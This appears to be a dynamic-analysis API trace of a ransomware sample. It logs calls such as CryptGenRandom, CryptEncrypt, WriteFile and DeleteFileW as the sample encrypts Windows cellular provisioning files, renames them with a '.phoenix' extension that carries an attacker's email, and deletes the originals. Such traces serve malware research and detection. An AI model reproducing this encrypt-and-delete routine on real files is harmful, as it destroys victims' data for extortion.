	[0251.194] WriteFile (in: hFile=0x2e8, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x290, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x290, lpOverlapped=0x0) returned 1
	[0251.195] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x151240) returned 1
	[0251.195] CryptSetKeyParam (hKey=0x151240, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0251.195] CryptEncrypt (in: hKey=0x151240, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xb0, dwBufLen=0xb0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xb0) returned 1
	[0251.195] CryptDestroyKey (hKey=0x151240) returned 1
	[0251.195] WriteFile (in: hFile=0x2e8, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x162, lpOverlapped=0x0) returned 1
	[0251.195] CryptDestroyKey (hKey=0x151200) returned 1
	[0251.195] CloseHandle (hObject=0x2f0) returned 1
	[0251.195] CloseHandle (hObject=0x2e8) returned 1
	[0251.195] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\431__Connections_Cellular_SyriaTel (Syria)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\431__connections_cellular_syriatel (syria)_i0$(__mvid)@wap.provxml")) returned 1
	[0251.196] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0251.196] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\432__Connections_Cellular_Chunghwa (Taiwan)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\432__connections_cellular_chunghwa (taiwan)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8
	[0251.197] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=716) returned 1
	[0251.197] CloseHandle (hObject=0x2e8) returned 1
	[0251.197] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\432__Connections_Cellular_Chunghwa (Taiwan)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\432__connections_cellular_chunghwa (taiwan)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0251.197] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\432__Connections_Cellular_Chunghwa (Taiwan)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\432__connections_cellular_chunghwa (taiwan)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0251.197] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\432__Connections_Cellular_Chunghwa (Taiwan)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\432__connections_cellular_chunghwa (taiwan)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8
	[0251.197] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0251.197] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0251.198] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\432__Connections_Cellular_Chunghwa (Taiwan)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\432__connections_cellular_chunghwa (taiwan)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0251.198] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x1513c0) returned 1
	[0251.198] CryptSetKeyParam (hKey=0x1513c0, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0251.198] ReadFile (in: hFile=0x2e8, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x2cc, lpOverlapped=0x0) returned 1
	[0251.200] CryptEncrypt (in: hKey=0x1513c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x2d0, dwBufLen=0x2d0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x2d0) returned 1
	[0251.200] WriteFile (in: hFile=0x2f0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x2d0, lpOverlapped=0x0) returned 1
	[0251.201] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x151040) returned 1
	[0251.201] CryptSetKeyParam (hKey=0x151040, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0251.201] CryptEncrypt (in: hKey=0x151040, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xb0, dwBufLen=0xb0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xb0) returned 1
	[0251.201] CryptDestroyKey (hKey=0x151040) returned 1
	[0251.201] WriteFile (in: hFile=0x2f0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x162, lpOverlapped=0x0) returned 1
	[0251.201] CryptDestroyKey (hKey=0x1513c0) returned 1
	[0251.201] CloseHandle (hObject=0x2e8) returned 1
	[0251.201] CloseHandle (hObject=0x2f0) returned 1
	[0251.201] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\432__Connections_Cellular_Chunghwa (Taiwan)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\432__connections_cellular_chunghwa (taiwan)_i0$(__mvid)@wap.provxml")) returned 1
	[0251.203] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0251.203] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\433__Connections_Cellular_Chunghwa (Taiwan)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\433__connections_cellular_chunghwa (taiwan)_i1$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0251.204] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=836) returned 1
	[0251.204] CloseHandle (hObject=0x2f0) returned 1
	[0251.204] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\433__Connections_Cellular_Chunghwa (Taiwan)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\433__connections_cellular_chunghwa (taiwan)_i1$(__mvid)@wap.provxml")) returned 0x20
	[0251.204] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\433__Connections_Cellular_Chunghwa (Taiwan)_i1$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\433__connections_cellular_chunghwa (taiwan)_i1$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0251.204] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\433__Connections_Cellular_Chunghwa (Taiwan)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\433__connections_cellular_chunghwa (taiwan)_i1$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0251.204] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0251.204] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0251.204] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\433__Connections_Cellular_Chunghwa (Taiwan)_i1$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\433__connections_cellular_chunghwa (taiwan)_i1$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8
	[0251.205] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x151240) returned 1
	[0251.205] CryptSetKeyParam (hKey=0x151240, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0251.205] ReadFile (in: hFile=0x2f0, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x344, lpOverlapped=0x0) returned 1
	[0251.262] CryptEncrypt (in: hKey=0x151240, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x350, dwBufLen=0x350 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x350) returned 1
	[0251.262] WriteFile (in: hFile=0x2e8, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x350, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x350, lpOverlapped=0x0) returned 1
	[0251.263] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x1514c0) returned 1
	[0251.263] CryptSetKeyParam (hKey=0x1514c0, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0251.263] CryptEncrypt (in: hKey=0x1514c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xb0, dwBufLen=0xb0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xb0) returned 1
	[0251.264] CryptDestroyKey (hKey=0x1514c0) returned 1
	[0251.264] WriteFile (in: hFile=0x2e8, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x162, lpOverlapped=0x0) returned 1
	[0251.264] CryptDestroyKey (hKey=0x151240) returned 1
	[0251.264] CloseHandle (hObject=0x2f0) returned 1
	[0251.264] CloseHandle (hObject=0x2e8) returned 1
	[0251.264] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\433__Connections_Cellular_Chunghwa (Taiwan)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\433__connections_cellular_chunghwa (taiwan)_i1$(__mvid)@wap.provxml")) returned 1
	[0251.266] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0251.266] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0251.266] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\434__Connections_Cellular_MoBiTai (Taiwan)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\434__connections_cellular_mobitai (taiwan)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0251.267] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x151400) returned 1
	[0251.267] CryptSetKeyParam (hKey=0x151400, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0251.267] ReadFile (in: hFile=0x2e8, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x27f, lpOverlapped=0x0) returned 1
	[0251.269] CryptEncrypt (in: hKey=0x151400, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x280, dwBufLen=0x280 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x280) returned 1
	[0251.269] WriteFile (in: hFile=0x2f0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x280, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x280, lpOverlapped=0x0) returned 1
	[0251.270] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x151500) returned 1
	[0251.270] CryptSetKeyParam (hKey=0x151500, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0251.270] CryptEncrypt (in: hKey=0x151500, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xb0, dwBufLen=0xb0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xb0) returned 1
	[0251.270] CryptDestroyKey (hKey=0x151500) returned 1
	[0251.270] WriteFile (in: hFile=0x2f0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x162, lpOverlapped=0x0) returned 1
	[0251.270] CryptDestroyKey (hKey=0x151400) returned 1
	[0251.270] CloseHandle (hObject=0x2e8) returned 1
	[0251.270] CloseHandle (hObject=0x2f0) returned 1
	[0251.271] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\434__Connections_Cellular_MoBiTai (Taiwan)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\434__connections_cellular_mobitai (taiwan)_i0$(__mvid)@wap.provxml")) returned 1
	[0251.273] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0251.273] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0251.273] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\435__Connections_Cellular_Taiwan Mobile (Taiwan)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\435__connections_cellular_taiwan mobile (taiwan)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8
	[0251.273] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x151600) returned 1
	[0251.273] CryptSetKeyParam (hKey=0x151600, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0251.273] ReadFile (in: hFile=0x2f0, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x2cb, lpOverlapped=0x0) returned 1
	[0251.275] CryptEncrypt (in: hKey=0x151600, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x2d0, dwBufLen=0x2d0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x2d0) returned 1
	[0251.275] WriteFile (in: hFile=0x2e8, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x2d0, lpOverlapped=0x0) returned 1
	[0251.276] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x151080) returned 1
	[0251.276] CryptSetKeyParam (hKey=0x151080, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0251.276] CryptEncrypt (in: hKey=0x151080, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xc0, dwBufLen=0xc0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xc0) returned 1
	[0251.276] CryptDestroyKey (hKey=0x151080) returned 1
	[0251.276] WriteFile (in: hFile=0x2e8, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x172, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x172, lpOverlapped=0x0) returned 1
	[0251.276] CryptDestroyKey (hKey=0x151600) returned 1
	[0251.276] CloseHandle (hObject=0x2f0) returned 1
	[0251.277] CloseHandle (hObject=0x2e8) returned 1
	[0251.277] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\435__Connections_Cellular_Taiwan Mobile (Taiwan)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\435__connections_cellular_taiwan mobile (taiwan)_i0$(__mvid)@wap.provxml")) returned 1
	[0251.278] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0251.278] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0251.278] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\436__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\436__cellular_persimsettings_$(__iccid)_accountexperienceurl.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0251.279] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x151700) returned 1
	[0251.279] CryptSetKeyParam (hKey=0x151700, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0251.279] ReadFile (in: hFile=0x2e8, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x1f2, lpOverlapped=0x0) returned 1
	[0251.282] CryptEncrypt (in: hKey=0x151700, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x200, dwBufLen=0x200 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x200) returned 1
	[0251.282] WriteFile (in: hFile=0x2f0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x200, lpOverlapped=0x0) returned 1
	[0251.283] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x151400) returned 1
	[0251.283] CryptSetKeyParam (hKey=0x151400, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0251.283] CryptEncrypt (in: hKey=0x151400, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xb0, dwBufLen=0xb0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xb0) returned 1
	[0251.283] CryptDestroyKey (hKey=0x151400) returned 1
	[0251.283] WriteFile (in: hFile=0x2f0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x162, lpOverlapped=0x0) returned 1
	[0251.283] CryptDestroyKey (hKey=0x151700) returned 1
	[0251.283] CloseHandle (hObject=0x2e8) returned 1
	[0251.283] CloseHandle (hObject=0x2f0) returned 1
	[0251.283] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\436__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\436__cellular_persimsettings_$(__iccid)_accountexperienceurl.provxml")) returned 1
	[0251.284] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0251.284] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0251.284] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\437__Connections_Cellular_TransAsia (Taiwan)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\437__connections_cellular_transasia (taiwan)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8
	[0251.285] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x151600) returned 1
	[0251.285] CryptSetKeyParam (hKey=0x151600, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0251.285] ReadFile (in: hFile=0x2f0, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x284, lpOverlapped=0x0) returned 1
	[0251.290] CryptEncrypt (in: hKey=0x151600, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x290, dwBufLen=0x290 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x290) returned 1
